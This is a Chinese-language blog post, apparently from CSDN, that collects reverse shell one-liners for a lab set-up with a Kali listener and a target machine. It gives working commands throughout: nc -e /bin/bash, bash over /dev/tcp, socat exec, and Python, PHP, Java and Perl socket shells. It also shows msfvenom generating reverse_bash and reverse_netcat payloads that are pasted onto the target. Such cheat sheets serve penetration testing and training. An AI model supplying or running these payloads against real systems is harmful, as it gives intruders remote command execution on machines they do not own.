反弹shell命令总结
1.nc反弹
开启本地8080端口监听,并将本地的bash发布出去。
root# nc -lvvp 8080 -t -e /bin/bash
![在这里插入图片描述](https://img-blog.csdnimg.cn/202104281540258.png)
连接目标主机
nc ip 端口
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210428154202818.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTAwNjUyNQ==,size_16,color_FFFFFF,t_70)
2.bash直接反弹
kali监听
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210428154551290.png)
靶机运行:
root# bash -i >& /dev/tcp/ip/端口 0>&1
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210428154708715.png)
bash命令解析:
![在这里插入图片描述](https://img-blog.csdnimg.cn/2021042815473085.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTAwNjUyNQ==,size_16,color_FFFFFF,t_70)
反弹成功
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210428155825293.png)
3. socat反弹
kali监听:socat tcp-listen:1234 -
![在这里插入图片描述](https://img-blog.csdnimg.cn/2021042815535287.png)
靶机运行:
socat exec:‘bash -li’,pty,stderr,setsid,sigint,sane tcp:IP:1234
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210428155552831.png)
反弹成功
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210428155711307.png)
4.脚本反弹
4.1:python反弹
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("IP",Port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
4.2:php反弹
php -r '$sock=fsockopen("IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
4.3:java反弹
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/IP/port;cat <&5 |
while read line; do $line 2>&5 >&5; done"] as String[]) p.waitFor()
4.4:perl反弹
perl -e 'use Socket;$i="IP";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
.msf获取反弹一句话
可以直接使用 msfvenom -l 结合关键字过滤(如cmd/unix/reverse),找出需要的各类反弹一句话payload的路径信息。
# msfvenom -l payloads 'cmd/unix/reverse'
发现msf支持反弹shell类型丰富。可以根据需求选择。
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210428161318210.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTAwNjUyNQ==,size_16,color_FFFFFF,t_70)
例如:生成bash的
# root@kali:~# msfvenom -p cmd/unix/reverse_bash lhost=1.1.1.1 lport=6666 R
将生成的payload粘贴,在靶机运行即可。
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210428161949336.png)
生成netcat
msfvenom -p cmd/unix/reverse_netcat lhost=1.1.1.1 lport=12345 R
将生成的payload粘贴,在靶机运行即可。
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210428162236780.png)
靶机运行payload:
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210428162914201.png)
成功反弹
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210428163108576.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTAwNjUyNQ==,size_16,color_FFFFFF,t_70)
|